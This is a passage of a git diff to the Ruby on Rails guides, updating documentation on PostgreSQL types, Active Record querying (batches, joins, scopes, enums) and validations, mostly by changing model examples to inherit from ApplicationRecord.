definition](http://www.postgresql.org/docs/current/static/datatype-net-types.html) The types `inet` and `cidr` are mapped to Ruby -[`IPAddr`](http://www.ruby-doc.org/stdlib-2.1.1/libdoc/ipaddr/rdoc/IPAddr.html) +[`IPAddr`](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/ipaddr/rdoc/IPAddr.html) objects. The `macaddr` type is mapped to normal text. ```ruby @@ -304,7 +374,7 @@ create_table(:devices, force: true) do |t| end # app/models/device.rb -class Device < ActiveRecord::Base +class Device < ApplicationRecord end # Usage @@ -324,7 +394,7 @@ macbook.address ### Geometric Types -* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-geometric.html) +* [type definition](http://www.postgresql.org/docs/current/static/datatype-geometric.html) All geometric types, with the exception of `points` are mapped to normal text. A point is casted to an array containing `x` and `y` coordinates. @@ -333,17 +403,18 @@ A point is casted to an array containing `x` and `y` coordinates. UUID Primary Keys ----------------- -NOTE: you need to enable the `uuid-ossp` extension to generate UUIDs. +NOTE: You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp` +extension to generate random UUIDs. ```ruby # db/migrate/20131220144913_create_devices.rb -enable_extension 'uuid-ossp' unless extension_enabled?('uuid-ossp') -create_table :devices, id: :uuid, default: 'uuid_generate_v4()' do |t| +enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto') +create_table :devices, id: :uuid, default: 'gen_random_uuid()' do |t| t.string :kind end # app/models/device.rb -class Device < ActiveRecord::Base +class Device < ApplicationRecord end # Usage @@ -351,6 +422,9 @@ device = Device.create device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e" ``` +NOTE: `uuid_generate_v4()` (from `uuid-ossp`) is assumed if no `:default` option was +passed to `create_table`. + Full Text Search ---------------- @@ -364,7 +438,7 @@ end execute "CREATE INDEX documents_idx ON documents USING gin(to_tsvector('english', title || ' ' || body));" # app/models/document.rb -class Document < ActiveRecord::Base +class Document < ApplicationRecord end # Usage @@ -378,7 +452,7 @@ Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)", Database Views -------------- -* [view creation](http://www.postgresql.org/docs/9.3/static/sql-createview.html) +* [view creation](http://www.postgresql.org/docs/current/static/sql-createview.html) Imagine you need to work with a legacy database containing the following table: @@ -414,7 +488,7 @@ CREATE VIEW articles AS SQL # app/models/article.rb -class Article < ActiveRecord::Base +class Article < ApplicationRecord self.primary_key = "id" def archive! update_attribute :archived, true diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md index bef903b751..9a13e3bda7 100644 --- a/guides/source/active_record_querying.md +++ b/guides/source/active_record_querying.md @@ -10,8 +10,8 @@ After reading this guide, you will know: * How to find records using a variety of methods and conditions. * How to specify the order, retrieved attributes, grouping, and other properties of the found records. * How to use eager loading to reduce the number of database queries needed for data retrieval. -* How to use dynamic finders methods. -* How to use method chaining to use multiple ActiveRecord methods together. +* How to use dynamic finder methods. +* How to use method chaining to use multiple Active Record methods together. * How to check for the existence of particular records. * How to perform various calculations on Active Record models. * How to run EXPLAIN on relations. @@ -25,7 +25,7 @@ Code examples throughout this guide will refer to one or more of the following m TIP: All of the following models use `id` as the primary key, unless specified otherwise. ```ruby -class Client < ActiveRecord::Base +class Client < ApplicationRecord has_one :address has_many :orders has_and_belongs_to_many :roles @@ -33,24 +33,24 @@ end ``` ```ruby -class Address < ActiveRecord::Base +class Address < ApplicationRecord belongs_to :client end ``` ```ruby -class Order < ActiveRecord::Base +class Order < ApplicationRecord belongs_to :client, counter_cache: true end ``` ```ruby -class Role < ActiveRecord::Base +class Role < ApplicationRecord has_and_belongs_to_many :clients end ``` -Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same. +Active Record will perform queries on the database for you and is compatible with most database systems, including MySQL, MariaDB, PostgreSQL and SQLite. Regardless of which database system you're using, the Active Record method format will always be the same. Retrieving Objects from the Database ------------------------------------ @@ -59,7 +59,7 @@ To retrieve objects from the database, Active Record provides several finder met The methods are: -* `bind` +* `find` * `create_with` * `distinct` * `eager_load` @@ -69,6 +69,7 @@ The methods are: * `having` * `includes` * `joins` +* `left_outer_joins` * `limit` * `lock` * `none` @@ -80,7 +81,7 @@ The methods are: * `reorder` * `reverse_order` * `select` -* `uniq` +* `distinct` * `where` All of the above methods return an instance of `ActiveRecord::Relation`. @@ -152,9 +153,9 @@ You can pass in a numerical argument to the `take` method to return up to that n ```ruby client = Client.take(2) # => [ - #<Client id: 1, first_name: "Lifo">, - #<Client id: 220, first_name: "Sara"> -] +# #<Client id: 1, first_name: "Lifo">, +# #<Client id: 220, first_name: "Sara"> +# ] ``` The SQL equivalent of the above is: @@ -169,7 +170,7 @@ TIP: The retrieved record may vary depending on the database engine. #### `first` -The `first` method finds the first record ordered by the primary key. For example: +The `first` method finds the first record ordered by primary key (default). For example: ```ruby client = Client.first @@ -184,15 +185,17 @@ SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1 The `first` method returns `nil` if no matching record is found and no exception will be raised. +If your [default scope](active_record_querying.html#applying-a-default-scope) contains an order method, `first` will return the first record according to this ordering. + You can pass in a numerical argument to the `first` method to return up to that number of results. For example ```ruby client = Client.first(3) # => [ - #<Client id: 1, first_name: "Lifo">, - #<Client id: 2, first_name: "Fifo">, - #<Client id: 3, first_name: "Filo"> -] +# #<Client id: 1, first_name: "Lifo">, +# #<Client id: 2, first_name: "Fifo">, +# #<Client id: 3, first_name: "Filo"> +# ] ``` The SQL equivalent of the above is: @@ -201,11 +204,24 @@ The SQL equivalent of the above is: SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3 ``` +On a collection that is ordered using `order`, `first` will return the first record ordered by the specified attribute for `order`. + +```ruby +client = Client.order(:first_name).first +# => #<Client id: 2, first_name: "Fifo"> +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1 +``` + The `first!` method behaves exactly like `first`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. #### `last` -The `last` method finds the last record ordered by the primary key. For example: +The `last` method finds the last record ordered by primary key (default). For example: ```ruby client = Client.last @@ -220,15 +236,17 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 The `last` method returns `nil` if no matching record is found and no exception will be raised. +If your [default scope](active_record_querying.html#applying-a-default-scope) contains an order method, `last` will return the last record according to this ordering. + You can pass in a numerical argument to the `last` method to return up to that number of results. For example ```ruby client = Client.last(3) # => [ - #<Client id: 219, first_name: "James">, - #<Client id: 220, first_name: "Sara">, - #<Client id: 221, first_name: "Russel"> -] +# #<Client id: 219, first_name: "James">, +# #<Client id: 220, first_name: "Sara">, +# #<Client id: 221, first_name: "Russel"> +# ] ``` The SQL equivalent of the above is: @@ -237,6 +255,19 @@ The SQL equivalent of the above is: SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3 ``` +On a collection that is ordered using `order`, `last` will return the last record ordered by the specified attribute for `order`. + +```ruby +client = Client.order(:first_name).last +# => #<Client id: 220, first_name: "Sara"> +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1 +``` + The `last!` method behaves exactly like `last`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. #### `find_by` @@ -317,7 +348,7 @@ end The `find_each` method accepts most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_each`. -Two additional options, `:batch_size` and `:begin_at`, are available as well. +Three additional options, `:batch_size`, `:start` and `:finish`, are available as well. **`:batch_size`** @@ -329,33 +360,35 @@ User.find_each(batch_size: 5000) do |user| end ``` -**`:begin_at`** +**`:start`** -By default, records are fetched in ascending order of the primary key, which must be an integer. The `:begin_at` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. +By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000: ```ruby -User.find_each(begin_at: 2000, batch_size: 5000) do |user| +User.find_each(start: 2000, batch_size: 5000) do |user| NewsMailer.weekly(user).deliver_now end ``` -Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate `:begin_at` option on each worker. +**`:finish`** -**`:end_at`** +Similar to the `:start` option, `:finish` allows you to configure the last ID of the sequence whenever the highest ID is not the one you need. +This would be useful, for example, if you wanted to run a batch process, using a subset of records based on `:start` and `:finish` -Similar to the `:begin_at` option, `:end_at` allows you to configure the last ID of the sequence whenever the highest ID is not the one you need. -This would be useful, for example, if you wanted to run a batch process, using a subset of records based on `:begin_at` and `:end_at` - -For example, to send newsletters only to users with the primary key starting from 2000 up to 10000 and to retrieve them in batches of 1000: +For example, to send newsletters only to users with the primary key starting from 2000 up to 10000 and to retrieve them in batches of 5000: ```ruby -User.find_each(begin_at: 2000, end_at: 10000, batch_size: 5000) do |user| +User.find_each(start: 2000, finish: 10000, batch_size: 5000) do |user| NewsMailer.weekly(user).deliver_now end ``` +Another example would be if you wanted multiple workers handling the same +processing queue. You could have each worker handle 10000 records by setting the +appropriate `:start` and `:finish` options on each worker. + #### `find_in_batches` The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices: @@ -369,7 +402,7 @@ end ##### Options for `find_in_batches` -The `find_in_batches` method accepts the same `:batch_size`, `:begin_at` and `:end_at` options as `find_each`. +The `find_in_batches` method accepts the same `:batch_size`, `:start` and `:finish` options as `find_each`. Conditions ---------- @@ -390,7 +423,7 @@ Now what if that number could vary, say as an argument from somewhere? The find Client.where("orders_count = ?", params[:orders]) ``` -Active Record will go through the first element in the conditions value and any additional elements will replace the question marks `(?)` in the first element. +Active Record will take the first argument as the conditions string and any additional arguments will replace the question marks `(?)` in it. If you want to specify multiple conditions: @@ -418,7 +451,7 @@ TIP: For more information on the dangers of SQL injection, see the [Ruby on Rail #### Placeholder Conditions -Similar to the `(?)` replacement style of params, you can also specify keys/values hash in your array conditions: +Similar to the `(?)` replacement style of params, you can also specify keys in your conditions string along with a corresponding keys/values hash: ```ruby Client.where("created_at >= :start_date AND created_at <= :end_date", @@ -429,7 +462,7 @@ This makes for clearer readability if you have a large number of variable condit ### Hash Conditions -Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them: +Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want qualified and the values of how you want to qualify them: NOTE: Only equality, range and subset checking are possible with Hash conditions. @@ -439,6 +472,12 @@ NOTE: Only equality, range and subset checking are possible with Hash conditions Client.where(locked: true) ``` +This will generate SQL like this: + +```sql +SELECT * FROM clients WHERE (clients.locked = 1) +``` + The field name can also be a string: ```ruby @@ -484,13 +523,17 @@ SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) ### NOT Conditions -`NOT` SQL queries can be built by `where.not`. +`NOT` SQL queries can be built by `where.not`: ```ruby -Article.where.not(author: author) +Client.where.not(locked: true) ``` -In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions. +In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions. This will generate SQL like this: + +```sql +SELECT * FROM clients WHERE (clients.locked != 1) +``` Ordering -------- @@ -529,7 +572,7 @@ Client.order("orders_count ASC, created_at DESC") Client.order("orders_count ASC", "created_at DESC") ``` -If you want to call `order` multiple times e.g. in different context, new order will append previous one +If you want to call `order` multiple times, subsequent orders will be appended to the first: ```ruby Client.order("orders_count ASC").order("created_at DESC") @@ -617,9 +660,9 @@ SELECT * FROM clients LIMIT 5 OFFSET 30 Group ----- -To apply a `GROUP BY` clause to the SQL fired by the finder, you can specify the `group` method on the find. +To apply a `GROUP BY` clause to the SQL fired by the finder, you can use the `group` method. -For example, if you want to find a collection of the dates orders were created on: +For example, if you want to find a collection of the dates on which orders were created: ```ruby Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)") @@ -637,7 +680,7 @@ GROUP BY date(created_at) ### Total of grouped items -To get the total of grouped items on a single query call `count` after the `group`. +To get the total of grouped items on a single query, call `count` after the `group`. ```ruby Order.group(:status).count @@ -655,7 +698,7 @@ GROUP BY status Having ------ -SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `:having` option to the find. +SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `having` method to the find. For example: @@ -673,7 +716,7 @@ GROUP BY date(created_at) HAVING sum(price) > 100 ``` -This will return single order objects for each day, but only those that are ordered more than $100 in a day. +This returns the date and total price for each order object, grouped by the day they were ordered and where the price is more than $100. Overriding Conditions --------------------- @@ -703,8 +746,7 @@ Article.where(id: 10, trashed: false).unscope(where: :id) # SELECT "articles".* FROM "articles" WHERE trashed = 0 ``` -A relation which has used `unscope` will affect any relation it is -merged in to: +A relation which has used `unscope` will affect any relation into which it is merged: ```ruby Article.order('id asc').merge(Article.unscope(:order)) @@ -734,7 +776,7 @@ SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20 The `reorder` method overrides the default scope order. For example: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord has_many :comments, -> { order('posted_at DESC') } end @@ -748,7 +790,7 @@ SELECT * FROM articles WHERE id = 10 SELECT * FROM comments WHERE article_id = 10 ORDER BY name ``` -In case the `reorder` clause is not used, the SQL executed would be: +In the case where the `reorder` clause is not used, the SQL executed would be: ```sql SELECT * FROM articles WHERE id = 10 @@ -837,7 +879,7 @@ end Readonly Objects ---------------- -Active Record provides `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception. +Active Record provides the `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception. ```ruby client = Client.readonly.first @@ -883,7 +925,7 @@ This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistical To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`: ```ruby -class Client < ActiveRecord::Base +class Client < ApplicationRecord self.locking_column = :lock_client_column end ``` @@ -898,7 +940,7 @@ For example: Item.transaction do i = Item.lock.first i.name = 'Jones' - i.save + i.save! end ``` @@ -934,58 +976,63 @@ end Joining Tables -------------- -Active Record provides a finder method called `joins` for specifying `JOIN` clauses on the resulting SQL. There are multiple ways to use the `joins` method. +Active Record provides two finder methods for specifying `JOIN` clauses on the +resulting SQL: `joins` and `left_outer_joins`. +While `joins` should be used for `INNER JOIN` or custom queries, +`left_outer_joins` is used for queries using `LEFT OUTER JOIN`. + +### `joins` + +There are multiple ways to use the `joins` method. -### Using a String SQL Fragment +#### Using a String SQL Fragment You can just supply the raw SQL specifying the `JOIN` clause to `joins`: ```ruby -Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id') +Author.joins("INNER JOIN posts ON posts.author_id = author.id AND posts.published = 't'") ``` This will result in the following SQL: ```sql -SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id +SELECT clients.* FROM clients INNER JOIN posts ON posts.author_id = author.id AND posts.published = 't' ``` -### Using Array/Hash of Named Associations - -WARNING: This method only works with `INNER JOIN`. +#### Using Array/Hash of Named Associations Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method. For example, consider the following `Category`, `Article`, `Comment`, `Guest` and `Tag` models: ```ruby -class Category < ActiveRecord::Base +class Category < ApplicationRecord has_many :articles end -class Article < ActiveRecord::Base +class Article < ApplicationRecord belongs_to :category has_many :comments has_many :tags end -class Comment < ActiveRecord::Base +class Comment < ApplicationRecord belongs_to :article has_one :guest end -class Guest < ActiveRecord::Base +class Guest < ApplicationRecord belongs_to :comment end -class Tag < ActiveRecord::Base +class Tag < ApplicationRecord belongs_to :article end ``` Now all of the following will produce the expected join queries using `INNER JOIN`: -#### Joining a Single Association +##### Joining a Single Association ```ruby Category.joins(:articles) @@ -998,7 +1045,7 @@ SELECT categories.* FROM categories INNER JOIN articles ON articles.category_id = categories.id ``` -Or, in English: "return a Category object for all categories with articles". Note that you will see duplicate categories if more than one article has the same category. If you want unique categories, you can use `Category.joins(:articles).uniq`. +Or, in English: "return a Category object for all categories with articles". Note that you will see duplicate categories if more than one article has the same category. If you want unique categories, you can use `Category.joins(:articles).distinct`. #### Joining Multiple Associations @@ -1016,7 +1063,7 @@ SELECT articles.* FROM articles Or, in English: "return all articles that have a category and at least one comment". Note again that articles with multiple comments will show up multiple times. -#### Joining Nested Associations (Single Level) +##### Joining Nested Associations (Single Level) ```ruby Article.joins(comments: :guest) @@ -1032,7 +1079,7 @@ SELECT articles.* FROM articles Or, in English: "return all articles that have a comment made by a guest." -#### Joining Nested Associations (Multiple Level) +##### Joining Nested Associations (Multiple Level) ```ruby Category.joins(articles: [{ comments: :guest }, :tags]) @@ -1048,9 +1095,11 @@ SELECT categories.* FROM categories INNER JOIN tags ON tags.article_id = articles.id ``` -### Specifying Conditions on the Joined Tables +Or, in English: "return all categories that have articles, where those articles have a comment made by a guest, and where those articles also have a tag." + +#### Specifying Conditions on the Joined Tables -You can specify conditions on the joined tables using the regular [Array](#array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provides a special syntax for specifying conditions for the joined tables: +You can specify conditions on the joined tables using the regular [Array](#array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provide a special syntax for specifying conditions for the joined tables: ```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight @@ -1066,6 +1115,26 @@ Client.joins(:orders).where(orders: { created_at: time_range }) This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression. +### `left_outer_joins` + +If you want to select a set of records whether or not they have associated +records you can use the `left_outer_joins` method. + +```ruby +Author.left_outer_joins(:posts).uniq.select('authors.*, COUNT(posts.*) AS posts_count').group('authors.id') +``` + +Which produces: + +```sql +SELECT DISTINCT authors.*, COUNT(posts.*) AS posts_count FROM "authors" +LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY authors.id +``` + +Which means: "return all authors with their count of posts, whether or not they +have any posts at all" + + Eager Loading Associations -------------------------- @@ -1089,7 +1158,7 @@ This code looks fine at the first sight. But the problem lies within the total n Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries. -Revisiting the above case, we could rewrite `Client.limit(10)` to use eager load addresses: +Revisiting the above case, we could rewrite `Client.limit(10)` to eager load addresses: ```ruby clients = Client.includes(:address).limit(10) @@ -1168,7 +1237,7 @@ Scoping allows you to specify commonly-used queries which can be referenced as m To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord scope :published, -> { where(published: true) } end ``` @@ -1176,7 +1245,7 @@ end This is exactly the same as defining a class method, and which you use is a matter of personal preference: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord def self.published where(published: true) end @@ -1186,7 +1255,7 @@ end Scopes are also chainable within scopes: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord scope :published, -> { where(published: true) } scope :published_and_commented, -> { published.where("comments_count > 0") } end @@ -1210,7 +1279,7 @@ category.articles.published # => [published articles belonging to this category] Your scope can take arguments: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord scope :created_before, ->(time) { where("created_at < ?", time) } end ``` @@ -1224,7 +1293,7 @@ Article.created_before(Time.zone.now) However, this is just duplicating the functionality that would be provided to you by a class method. ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord def self.created_before(time) where("created_at < ?", time) end @@ -1237,13 +1306,35 @@ Using a class method is the preferred way to accept arguments for scopes. These category.articles.created_before(time) ``` +### Using conditionals + +Your scope can utilize conditionals: + +```ruby +class Article < ApplicationRecord + scope :created_before, ->(time) { where("created_at < ?", time) if time.present? } +end +``` + +Like the other examples, this will behave similarly to a class method. + +```ruby +class Article < ApplicationRecord + def self.created_before(time) + where("created_at < ?", time) if time.present? + end +end +``` + +However, there is one important caveat: A scope will always return an `ActiveRecord::Relation` object, even if the conditional evaluates to `false`, whereas a class method, will return `nil`. This can cause `NoMethodError` when chaining class methods with conditionals, if any of the conditionals return `false`. + ### Applying a default scope If we wish for a scope to be applied across all queries to the model we can use the `default_scope` method within the model itself. ```ruby -class Client < ActiveRecord::Base +class Client < ApplicationRecord default_scope { where("removed_at IS NULL") } end ``` @@ -1259,19 +1350,31 @@ If you need to do more complex things with a default scope, you can alternativel define it as a class method: ```ruby -class Client < ActiveRecord::Base +class Client < ApplicationRecord def self.default_scope # Should return an ActiveRecord::Relation. end end ``` +NOTE: The `default_scope` is also applied while creating/building a record. +It is not applied while updating a record. E.g.: + +```ruby +class Client < ApplicationRecord + default_scope { where(active: true) } +end + +Client.new # => #<Client id: nil, active: true> +Client.unscoped.new # => #<Client id: nil, active: nil> +``` + ### Merging of scopes Just like `where` clauses scopes are merged using `AND` conditions. ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord scope :active, -> { where state: 'active' } scope :inactive, -> { where state: 'inactive' } end @@ -1300,7 +1403,7 @@ One important caveat is that `default_scope` will be prepended in `scope` and `where` conditions. ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord default_scope { where state: 'pending' } scope :active, -> { where state: 'active' } scope :inactive, -> { where state: 'inactive' } @@ -1331,8 +1434,15 @@ Client.unscoped.load This method removes all scoping and will do a normal query on the table. -Note that chaining `unscoped` with a `scope` does not work. In these cases, it is -recommended that you use the block form of `unscoped`: +```ruby +Client.unscoped.all +# SELECT "clients".* FROM "clients" + +Client.where(published: false).unscoped.all +# SELECT "clients".* FROM "clients" +``` + +`unscoped` can also accept a block. ```ruby Client.unscoped { @@ -1343,12 +1453,42 @@ Client.unscoped { Dynamic Finders --------------- -For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods. +For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` method. You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")` If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`. +Enums +----- + +The `enum` macro maps an integer column to a set of possible values. + +```ruby +class Book < ApplicationRecord + enum availability: [:available, :unavailable] +end +``` + +This will automatically create the corresponding [scopes](#scopes) to query the +model. Methods to transition between states and query the current state are also +added. + +```ruby +# Both examples below query just available books. +Book.available +# or +Book.where(availability: :available) + +book = Book.new(availability: :available) +book.available? # => true +book.unavailable! # => true +book.available? # => false +``` + +Read the full documentation about enums +[in the Rails API docs](http://api.rubyonrails.org/classes/ActiveRecord/Enum.html). + Understanding The Method Chaining --------------------------------- @@ -1414,7 +1554,7 @@ It's common that you need to find a record or create it if it doesn't exist. You ### `find_or_create_by` -The `find_or_create_by` method checks whether a record with the attributes exists. If it doesn't, then `create` is called. Let's see an example. +The `find_or_create_by` method checks whether a record with the specified attributes exists. If it doesn't, then `create` is called. Let's see an example. Suppose you want to find a client named 'Andy', and if there's none, create one. You can do so by running: @@ -1483,7 +1623,7 @@ now want the client named 'Nick': ```ruby nick = Client.find_or_initialize_by(first_name: 'Nick') -# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> +# => #<Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> nick.persisted? # => false @@ -1515,10 +1655,10 @@ Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER BY clients.created_at desc") # => [ - #<Client id: 1, first_name: "Lucas" >, - #<Client id: 2, first_name: "Jan" >, - # ... -] +# #<Client id: 1, first_name: "Lucas" >, +# #<Client id: 2, first_name: "Jan" >, +# ... +# ] ``` `find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects. @@ -1530,9 +1670,9 @@ Client.find_by_sql("SELECT * FROM clients ```ruby Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'") # => [ - {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, - {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"} -] +# {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, +# {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"} +# ] ``` ### `pluck` @@ -1577,7 +1717,7 @@ a large or often-running query. However, any model method overrides will not be available. For example: ```ruby -class Client < ActiveRecord::Base +class Client < ApplicationRecord def name "I am #{super}" end @@ -1612,7 +1752,7 @@ Person.ids ``` ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord self.primary_key = "person_id" end @@ -1785,10 +1925,11 @@ EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.` 2 rows in set (0.00 sec) ``` -under MySQL. +under MySQL and MariaDB. -Active Record performs a pretty printing that emulates the one of the database -shells. So, the same query running with the PostgreSQL adapter would yield instead +Active Record performs a pretty printing that emulates that of the +corresponding database shell. So, the same query running with the +PostgreSQL adapter would yield instead ``` EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1 @@ -1844,7 +1985,7 @@ EXPLAIN for: SELECT `articles`.* FROM `articles` WHERE `articles`.`user_id` IN 1 row in set (0.00 sec) ``` -under MySQL. +under MySQL and MariaDB. ### Interpreting EXPLAIN @@ -1853,6 +1994,8 @@ following pointers may be helpful: * SQLite3: [EXPLAIN QUERY PLAN](http://www.sqlite.org/eqp.html) -* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.6/en/explain-output.html) +* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.7/en/explain-output.html) + +* MariaDB: [EXPLAIN](https://mariadb.com/kb/en/mariadb/explain/) * PostgreSQL: [Using EXPLAIN](http://www.postgresql.org/docs/current/static/using-explain.html) diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md index f19934fe89..936d6a30b8 100644 --- a/guides/source/active_record_validations.md +++ b/guides/source/active_record_validations.md @@ -20,7 +20,7 @@ Validations Overview Here's an example of a very simple validation: ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, presence: true end @@ -47,7 +47,7 @@ built-in helpers for common needs, and allows you to create your own validation methods as well. There are several other ways to validate data before it is saved into your -database, including native database constraints, client-side validations, +database, including native database constraints, client-side validations and controller-level validations. Here's a summary of the pros and cons: * Database constraints and/or stored procedures make the validation mechanisms @@ -80,7 +80,7 @@ method to determine whether an object is already in the database or not. Consider the following simple Active Record class: ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord end ``` @@ -122,7 +122,7 @@ database only if the object is valid: * `update!` The bang versions (e.g. `save!`) raise an exception if the record is invalid. -The non-bang versions don't, `save` and `update` return `false`, +The non-bang versions don't: `save` and `update` return `false`, and `create` just returns the object. ### Skipping Validations @@ -143,19 +143,21 @@ database regardless of its validity. They should be used with caution. * `update_counters` Note that `save` also has the ability to skip validations if passed `validate: -false` as argument. This technique should be used with caution. +false` as an argument. This technique should be used with caution. * `save(validate: false)` ### `valid?` and `invalid?` -To verify whether or not an object is valid, Rails uses the `valid?` method. -You can also use this method on your own. `valid?` triggers your validations +Before saving an Active Record object, Rails runs your validations. +If these validations produce any errors, Rails does not save the object. + +You can also run these validations on your own. `valid?` triggers your validations and returns true if no errors were found in the object, and false otherwise. As you saw above: ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, presence: true end @@ -168,11 +170,12 @@ through the `errors.messages` instance method, which returns a collection of err By definition, an object is valid if this collection is empty after running validations. -Note that an object instantiated with `new` will not report errors even if it's -technically invalid, because validations are not run when using `new`. +Note that an object instantiated with `new` will not report errors +even if it's technically invalid, because validations are automatically run +only when the object is saved, such as with the `create` or `save` methods. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, presence: true end @@ -218,7 +221,7 @@ it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, presence: true end @@ -236,13 +239,13 @@ To check which validations failed on an invalid attribute, you can use key to get the symbol of the validator: ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, presence: true end >> person = Person.new >> person.valid? ->> person.errors.details[:name] #=> [{error: :blank}] +>> person.errors.details[:name] # => [{error: :blank}] ``` Using `details` with custom validators is covered in the [Working with @@ -272,28 +275,42 @@ available helpers. This method validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your -application's terms of 